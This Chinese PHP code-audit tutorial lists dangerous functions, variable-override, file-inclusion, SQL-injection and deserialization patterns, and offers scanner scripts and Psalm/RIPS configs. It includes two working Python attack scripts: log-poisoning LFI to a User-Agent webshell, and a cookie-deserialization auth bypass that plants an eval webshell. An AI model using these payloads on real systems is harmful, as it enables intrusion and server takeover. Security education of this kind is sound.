前言:PHP代码审计的攻防本质
PHP在2026年仍占据Web后端市场约70%的份额(W3Techs数据),WordPress、Magento、Laravel等生态持续产生新的安全漏洞。PHP代码审计不是"看代码找bug"这么简单——它是一场攻击者与防御者在函数调用链上的博弈。
本文将从攻击者视角出发,系统梳理PHP危险函数清单、常见漏洞模式的审计方法、静态分析工具的使用技巧,并提供完整的实战案例。
一、PHP危险函数全景图
1.1 命令执行类
// 🔴 直接命令执行(高危)
system('whoami');
exec('id', $output);
passthru('cat /etc/passwd');
shell_exec('ls -la');
popen('uname -a', 'r');
proc_open(['/bin/sh', '-c', $cmd], $descriptors, $pipes);
// 🔴 反引号操作符 — 等价shell_exec
$result = `cat $filename`;
// 🟠 间接命令执行
pcntl_exec('/bin/bash', ['-c', $cmd]);
dl('evil.so'); // 加载恶意扩展
审计技巧: 搜索以上函数时,重点关注参数是否来自用户输入($_GET、$_POST、$_COOKIE、$_SERVER中的可控字段)。
1.2 代码执行类
// 🔴 eval——最危险的代码执行函数
eval("echo $user_input;");
// 🔴 assert——PHP 7.x中可执行代码
assert("file_get_contents('$url')");
// 🔴 动态函数调用
$func = $_GET['action'];
$func($arg); // 可以调用任意函数
// 🔴 create_function — 内部使用eval
$lambda = create_function('$a', 'return system($a);');
$lambda('whoami');
// 🟠 preg_replace /e修饰符 (PHP<7.0)
preg_replace('/test/e', $_GET['code'], 'test');
// 🟠 call_user_func/call_user_func_array
call_user_func('system', 'id');
call_user_func_array($_GET['callback'], $_GET['args']);
// 🟠 反射API
$reflection = new ReflectionFunction($_GET['name']);
$reflection->invoke();
1.3 文件操作类
// 🔴 文件包含
include($_GET['page'] . '.php'); // 截断绕过
include 'lang/' . $_GET['lang']; // 目录穿越
require($basePath . '/' . $file);
require_once($template);
// 🔴 文件读取
file_get_contents($_GET['url']);
readfile($path);
fread(fopen($_GET['file'], 'r'), filesize($file));
show_source($filename);
highlight_file($file);
// 🔴 文件写入
file_put_contents($path, $data);
fwrite($handle, $_POST['content']);
move_uploaded_file($tmp, $dest);
// 🟠 文件操作
unlink($_GET['file']); // 任意文件删除
rename($old, $new); // 文件移动
copy($src, $dst); // 文件复制
mkdir($dir, 0777, true); // 目录创建
1.4 数据库操作类(SQL注入)
// 🔴 无参数化查询——最常见注入点
$sql = "SELECT * FROM users WHERE id = {$_GET['id']}";
$result = mysqli_query($conn, $sql);
$sql = "SELECT * FROM articles WHERE title LIKE '%{$search}%'";
$stmt = $pdo->query($sql);
// 🔴 order by/group by注入
$sql = "SELECT * FROM users ORDER BY {$_GET['sort']}";
$sql = "SELECT *, COUNT(*) FROM table GROUP BY {$_GET['col']}";
// 🟠 PDO 模拟预处理(ATTR_EMULATE_PREPARES=true时)
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]); // 在某些配置下仍可多语句注入
1.5 反序列化类
// 🔴 unserialize — PHP反序列化漏洞入口
$obj = unserialize($_COOKIE['user_data']);
$obj = unserialize(file_get_contents('php://input'));
// 🟠 phar://协议反序列化
include 'phar://' . $_GET['file']; // 触发phar反序列化
file_get_contents('phar://uploads/' . $name . '.jpg');
// 🟠 Session反序列化
// session.serialize_handler 不一致导致
ini_set('session.serialize_handler', 'php_serialize');
// ... session数据以不同处理器存储后触发
二、变量覆盖漏洞深度剖析
2.1 典型变量覆盖场景
<?php
// 场景1:extract()未限定前缀
extract($_POST); // 🔴 危险!
// 攻击者: POST auth=true 即可绕过认证
if ($auth) {
echo "Admin Panel";
}
// 场景2:parse_str()无参数限制
parse_str($_SERVER['QUERY_STRING'], $output);
// 访问: /page.php?GLOBALS[a]=evil&_SESSION[auth]=1
// 场景3:$$双美元符号动态变量
$key = $_GET['key'];
$$key = $_GET['value']; // 🔴 可覆盖任意变量
// 场景4:import_request_variables() (PHP 4-5.4)
import_request_variables('GP');
// 场景5:register_globals=On (PHP < 5.4,古老但CTF常见)
// $_GET['is_admin'] 自动注册为 $is_admin
2.2 实战案例:CMS变量覆盖到RCE
<?php
// 某CMS后台鉴权代码(漏洞版本)
class Auth {
private $login = false;
private $admin = false;
public function checkAuth() {
// 从Session恢复用户状态
if (isset($_SESSION['auth_data'])) {
$data = unserialize($_SESSION['auth_data']);
// 🔴 变量覆盖:extract数组
foreach ($data as $k => $v) {
$this->$k = $v;
}
}
}
public function isAdmin() {
if ($this->login && $this->admin) {
// 🔴 结合文件包含
include '/templates/' . $_GET['template'] . '.tpl';
}
}
}
// 攻击链:
// 1. 构造恶意serialize数据: {"login":true,"admin":true}
// 2. 存入session或直接POST
// 3. 触发变量覆盖 -> 绕过认证
// 4. 通过文件包含实现RCE
三、文件包含漏洞:从LFI到RCE
3.1 LFI利用链
<?php
// 典型漏洞代码
$language = $_GET['lang'];
include('lang/' . $language . '.php');
// URL: /index.php?lang=../../../../etc/passwd%00
LFI到RCE的9种方法:
| 方法 | 条件 | 难度 |
|---|---|---|
| 日志文件包含 | Apache/Nginx日志可控 | ⭐ |
| Session文件包含 | session.upload_progress | ⭐ |
| /proc/self/environ | User-Agent注入 | ⭐⭐ |
| php://input | allow_url_include=On | ⭐ |
| php://filter链 | 读取源码/pseudo-rce | ⭐⭐ |
| expect:// | expect扩展安装 | ⭐⭐⭐ |
| Phar反序列化 | 可上传phar文件 | ⭐⭐ |
| pearcmd.php | PHP安装pecl | ⭐⭐⭐ |
| SSH auth.log | SSH登录用户名可控 | ⭐⭐ |
3.2 日志文件包含RCE完整流程
#!/usr/bin/env python3
"""LFI via Apache Access Log to RCE"""
import requests
TARGET = "http://192.168.1.100"
LFI_PATH = "/index.php?lang="
# Step 1: 通过User-Agent写入Webshell到access.log
webshell_code = '<?php system($_GET["cmd"]); ?>'
headers = {
"User-Agent": webshell_code
}
try:
# 触发404确保日志记录
resp1 = requests.get(
f"{TARGET}/nonexistent_page_{id(id)}.html",
headers=headers
)
print(f"[*] Step 1: Injected webshell via User-Agent")
print(f" Status: {resp1.status_code}")
# Step 2: 通过LFI包含Apache日志文件
# 常见路径:
# /var/log/apache2/access.log
# /var/log/httpd/access_log
# /var/log/apache/access.log
log_paths = [
"../../../../var/log/apache2/access.log",
"../../../../var/log/httpd/access_log",
"../../../../var/log/apache/access.log",
"../../../../var/log/nginx/access.log",
]
for log_path in log_paths:
resp2 = requests.get(
f"{TARGET}{LFI_PATH}{log_path}%00&cmd=id"
)
if "uid=" in resp2.text:
print(f"[+] Step 2: Found log at {log_path}")
print(f"[+] RCE confirmed!")
print(f" Output: {resp2.text[:500]}")
break
else:
print(f"[-] Tried {log_path}: No RCE")
except Exception as e:
print(f"[-] Error: {e}")
3.3 php://filter利用链
#!/usr/bin/env python3
"""利用php://filter构造器生成链式过滤器"""
import base64
def chain_generator(filename):
"""生成php://filter链来读取任意文件并执行代码"""
# 方法1:读取文件内容(Base64编码绕过)
chain1 = f"php://filter/convert.base64-encode/resource={filename}"
# 方法2:使用filter链实现代码执行(需要特定条件)
# 利用iconv过滤器构造RCE payload
chain2 = (
"php://filter/"
"convert.iconv.UTF8.CSISO2022KR|"
"convert.base64-encode|"
"convert.iconv.UTF8.UTF7"
"/resource=php://temp"
)
# 方法3:嵌套filter读取源代码
chain3 = (
"php://filter/"
"read=convert.base64-encode|"
"convert.base64-decode|"
"string.rot13|"
"convert.iconv.UTF-8.UTF-7"
f"/resource={filename}"
)
return chain1, chain2, chain3
# 使用示例
chains = chain_generator("../../etc/passwd")
print(f"[*] Read chain: {chains[0]}")
四、SQL注入审计方法论
4.1 手动审计Sink点定位
#!/bin/bash
# SQL注入Sink点搜索脚本
echo "=== SQL Injection Audit Script ==="
# 1. 搜索拼接查询
echo "[*] Searching for string concatenation..."
grep -rn '\$sql.*=.*".*\$' --include="*.php" . | grep -v "test" | grep -v "vendor"
# 2. 搜索危险SQL函数
echo "[*] Searching for dangerous SQL functions..."
grep -rn 'mysql_query\|mysqli_query\|pg_query\|mssql_query\|sqlite_query\|oci_parse' \
--include="*.php" . | grep -v "vendor"
# 3. 搜索ORDER BY / GROUP BY动态拼接
echo "[*] Searching for ORDER BY injection points..."
grep -rn 'ORDER BY.*\$' --include="*.php" . | grep -v "vendor"
# 4. 搜索无参数的PDO query
echo "[*] Searching for PDO without prepared statements..."
grep -rn '\$.*->query(' --include="*.php" . | grep -v "vendor" | grep '\$'
# 5. 搜索二次注入
echo "[*] Searching for second-order injection..."
grep -rn 'serialize\|json_encode' --include="*.php" . | \
grep -B5 'INSERT\|UPDATE' | grep -v "vendor"
4.2 实战案例:ThinkPHP二次注入
<?php
// 漏洞场景:用户注册时存储恶意数据,后续查询触发注入
// 1. 注册时(数据存入数据库)
public function register() {
$username = filter_input(INPUT_POST, 'username');
$email = $_POST['email']; // 🔴 未过滤
// 存入时进行了转义
$sql = "INSERT INTO users (username, email) VALUES (?, ?)";
$stmt = $pdo->prepare($sql);
$stmt->execute([$username, $email]);
}
// 2. 后续功能中重新取出使用
public function sendNewsletter() {
$users = $db->query("SELECT email FROM users");
foreach ($users as $user) {
// 🔴 取出后直接拼接到UPDATE语句
$sql = "UPDATE mail_log SET last_sent=NOW()
WHERE email='{$user['email']}'"; // 二次注入触发点
$db->exec($sql);
}
}
// 攻击payload(注册时):
// email: admin@test.com' OR '1'='1
// 存入数据库后,第二次查询时注入触发
五、静态分析工具实战
5.1 RIPS使用指南
# RIPS是最经典的PHP静态代码审计工具
# 安装部署
git clone https://github.com/ripsscanner/rips.git
cd rips
# 配置web服务器后访问
# 命令行模式
php rips.php scan /path/to/project --verbose
# 自定义规则
# 创建 rules/custom.php
<?php
// 自定义RIPS审计规则示例
$GLOBALS['CUSTOM_RULES'] = [
// 规则:检测extract危险使用
[
'name' => 'Extract without prefix',
'function' => 'extract',
'params' => [
['type' => T_VARIABLE, 'taint' => TAINT_ALL],
],
'severity' => 'high',
'description' => 'extract() called without EXTR_PREFIX_ALL flag'
],
// 规则:检测未过滤的unserialize
[
'name' => 'Unfiltered unserialize',
'function' => 'unserialize',
'params' => [
['type' => T_VARIABLE, 'taint' => TAINT_ALL],
],
'severity' => 'critical',
'description' => 'unserialize() with user-controlled input'
],
];
5.2 Psalm + 安全插件
<!-- psalm.xml 安全配置 -->
<?xml version="1.0"?>
<psalm
errorLevel="1"
resolveFromConfigFile="true"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="https://getpsalm.org/schema/config"
>
<projectFiles>
<directory name="src"/>
<ignoreFiles>
<directory name="vendor"/>
</ignoreFiles>
</projectFiles>
<!-- Taint分析配置 -->
<taintAnalysis>
<safeFunctions>
<function name="htmlspecialchars"/>
<function name="strip_tags"/>
<function name="intval"/>
</safeFunctions>
</taintAnalysis>
<!-- 自定义安全规则 -->
<issueHandlers>
<TaintedInput errorLevel="error"/>
<TaintedShell errorLevel="error"/>
<TaintedSql errorLevel="error"/>
<TaintedHtml errorLevel="error"/>
<TaintedUnserialize errorLevel="error"/>
</issueHandlers>
</psalm>
# 运行Psalm安全审计
vendor/bin/psalm --taint-analysis --show-info=true
# 输出示例:
# ERROR: TaintedShell - src/Controller/ApiController.php:42:22
# Detected tainted shell command `shell_exec($userInput)`
# $userInput originates from $_GET['cmd'] at src/Controller/ApiController.php:40
5.3 自动化审计脚本
#!/usr/bin/env python3
"""PHP代码自动化审计扫描器"""
import re
import os
import json
from pathlib import Path
from concurrent.futures import ThreadPoolExecutor
from dataclasses import dataclass, asdict
@dataclass
class Vulnerability:
file: str
line: int
severity: str
type: str
code: str
description: str
class PHPAuditor:
# 危险函数模式
DANGEROUS_PATTERNS = {
"command_execution": {
"pattern": r'(system|exec|passthru|shell_exec|proc_open|popen|pcntl_exec|`)\s*\(',
"severity": "critical",
"description": "命令执行函数"
},
"code_execution": {
"pattern": r'(eval|assert|create_function|preg_replace.*\/e)\s*\(',
"severity": "critical",
"description": "代码执行函数"
},
"file_inclusion": {
"pattern": r'(include|require|include_once|require_once)\s*\(?\s*\$',
"severity": "high",
"description": "文件包含-用户可控参数"
},
"sql_injection": {
"pattern": r'(mysql_query|mysqli_query|->query)\s*\(\s*".*\$\w+',
"severity": "high",
"description": "SQL注入-字符串拼接"
},
"unserialize": {
"pattern": r'unserialize\s*\(\s*\$',
"severity": "high",
"description": "反序列化-用户可控数据"
},
"variable_override": {
"pattern": r'extract\s*\(\s*\$_(?:GET|POST|REQUEST|COOKIE)',
"severity": "high",
"description": "变量覆盖-extract"
},
"open_redirect": {
"pattern": r'header\s*\(\s*[\'"]Location:\s*\.\s*\$',
"severity": "medium",
"description": "任意URL跳转"
},
"file_upload": {
"pattern": r'move_uploaded_file\s*\(\s*\$_(?:FILES)',
"severity": "medium",
"description": "文件上传"
},
"ssrf": {
"pattern": r'(file_get_contents|curl_exec|fopen)\s*\(\s*\$_(?:GET|POST)',
"severity": "medium",
"description": "SSRF-用户可控URL"
},
}
def __init__(self, target_path):
self.target_path = Path(target_path)
self.vulnerabilities = []
def scan_file(self, filepath):
"""扫描单个PHP文件"""
try:
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
lines = f.readlines()
except:
return
for line_num, line in enumerate(lines, 1):
# 跳过注释行
stripped = line.strip()
if stripped.startswith('//') or stripped.startswith('#') or stripped.startswith('*'):
continue
for vuln_type, config in self.DANGEROUS_PATTERNS.items():
if re.search(config['pattern'], stripped, re.IGNORECASE):
vuln = Vulnerability(
file=str(filepath),
line=line_num,
severity=config['severity'],
type=vuln_type,
code=stripped[:120],
description=config['description']
)
self.vulnerabilities.append(vuln)
def scan(self):
"""扫描整个项目"""
php_files = list(self.target_path.rglob("*.php"))
# 排除vendor目录
php_files = [f for f in php_files if 'vendor' not in str(f)]
print(f"[*] Scanning {len(php_files)} PHP files...")
with ThreadPoolExecutor(max_workers=10) as executor:
executor.map(self.scan_file, php_files)
# 按严重程度排序
severity_order = {"critical": 0, "high": 1, "medium": 2, "low": 3}
self.vulnerabilities.sort(
key=lambda v: (severity_order.get(v.severity, 99), v.file)
)
def report(self):
"""生成审计报告"""
print(f"\n{'='*60}")
print(f" PHP Code Audit Report")
print(f" Total vulnerabilities: {len(self.vulnerabilities)}")
print(f"{'='*60}\n")
stats = {"critical": 0, "high": 0, "medium": 0, "low": 0}
for vuln in self.vulnerabilities:
stats[vuln.severity] += 1
for sev, count in stats.items():
emoji = "🔴" if sev == "critical" else "🟠" if sev == "high" else "🟡" if sev == "medium" else "⚪"
print(f" {emoji} {sev.upper()}: {count}")
print(f"\n{'='*60}")
print(f" Detailed Findings")
print(f"{'='*60}\n")
for i, vuln in enumerate(self.vulnerabilities, 1):
print(f"[{i}] {vuln.file}:{vuln.line}")
print(f" Type: {vuln.type} | Severity: {vuln.severity}")
print(f" Code: {vuln.code}")
print(f" Desc: {vuln.description}")
print()
def export_json(self, output_file="audit_report.json"):
"""导出JSON报告"""
with open(output_file, 'w') as f:
json.dump([asdict(v) for v in self.vulnerabilities], f, indent=2, ensure_ascii=False)
print(f"[+] Report exported to {output_file}")
if __name__ == "__main__":
import sys
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_directory>")
sys.exit(1)
auditor = PHPAuditor(sys.argv[1])
auditor.scan()
auditor.report()
auditor.export_json()
六、实战案例:某CMS完整审计链
6.1 审计过程
信息收集 → 危险函数定位 → 参数溯源 → 构造POC → 链接利用
Step 1: 搜索 eval — 发现 /admin/template.php:87
Step 2: 参数溯源 — $content来自数据库template表
Step 3: 发现 /admin/template_edit.php 可修改模板内容
Step 4: 需要管理员权限 → 查找认证绕过
Step 5: 发现Cookie反序列化 → 伪造管理员身份
Step 6: 完整攻击链:Cookie反序列化 → 登录后台 → 写入Webshell
6.2 完整POC
#!/usr/bin/env python3
"""CMS完整攻击链"""
import requests
import base64
import re
BASE = "http://target.com"
SESSION = requests.Session()
# Step 1: 注册账号获取基本权限
def register():
resp = SESSION.post(f"{BASE}/register.php", data={
"username": "attacker_001",
"password": "P@ssw0rd123",
"email": "attacker@test.com"
})
return "success" in resp.text
# Step 2: 反序列化绕过认证(Cookie中的user_data)
def auth_bypass():
# 构造恶意序列化数据
import php_serialize # 需要pip install phpserialize
payload = php_serialize.dumps({
"login": True,
"admin": 1,
"user_id": 1,
"group_id": 1
})
encoded = base64.b64encode(payload.encode()).decode()
SESSION.cookies.set("user_data", encoded)
# 验证提权结果
resp = SESSION.get(f"{BASE}/admin/")
return "Admin Panel" in resp.text
# Step 3: 通过模板编辑写入WebShell
def plant_webshell():
webshell = '<?php @eval($_POST["x"]); ?>'
resp = SESSION.post(f"{BASE}/admin/template_edit.php", data={
"template_id": "1",
"content": webshell,
"action": "save"
})
return "saved" in resp.text.lower()
# Step 4: 验证Webshell
def verify_shell():
resp = SESSION.post(f"{BASE}/templates/1.tpl", data={
"x": "echo 'PWNED_' . php_uname();"
})
if "PWNED_" in resp.text:
print(f"[+] Shell verified! Server: {resp.text}")
return True
return False
if __name__ == "__main__":
print("[*] Starting attack chain...")
if register():
print("[+] Step 1: Registration successful")
else:
print("[-] Step 1: Registration failed")
exit(1)
if auth_bypass():
print("[+] Step 2: Auth bypass successful (admin privs)")
else:
print("[-] Step 2: Auth bypass failed")
exit(1)
if plant_webshell():
print("[+] Step 3: Webshell planted")
else:
print("[-] Step 3: Webshell upload failed")
exit(1)
if verify_shell():
print("[✓] Full chain successful! RCE achieved.")
else:
print("[-] Step 4: Shell verification failed")
七、审计CheckList总结
快速排查清单
- 搜索
eval|assert|create_function|system|exec|passthru|shell_exec - 搜索
include|require后是否拼接$_GET|$_POST|$_COOKIE - 搜索
unserialize参数是否可控 - 搜索
extract|parse_str|$$变量覆盖 - 搜索 SQL 语句中的字符串拼接
".*\$ - 搜索
file_get_contents|curl_exec参数是否来自输入 - 检查 Session 序列化处理器配置
- 检查
allow_url_include|allow_url_fopen配置 - 检查
disable_functions是否被完整配置 - 检查
open_basedir是否限制文件访问范围 - 搜索
move_uploaded_file|copfy文件操作 - 搜索
header("Location:跳转参数
PHP代码审计是一场持续的猫鼠游戏。函数的组合使用、框架的特性、配置的细微差异都可能成为漏洞的温床。掌握方法论、善用工具、持续积累常见模式,才能在审计中快人一步。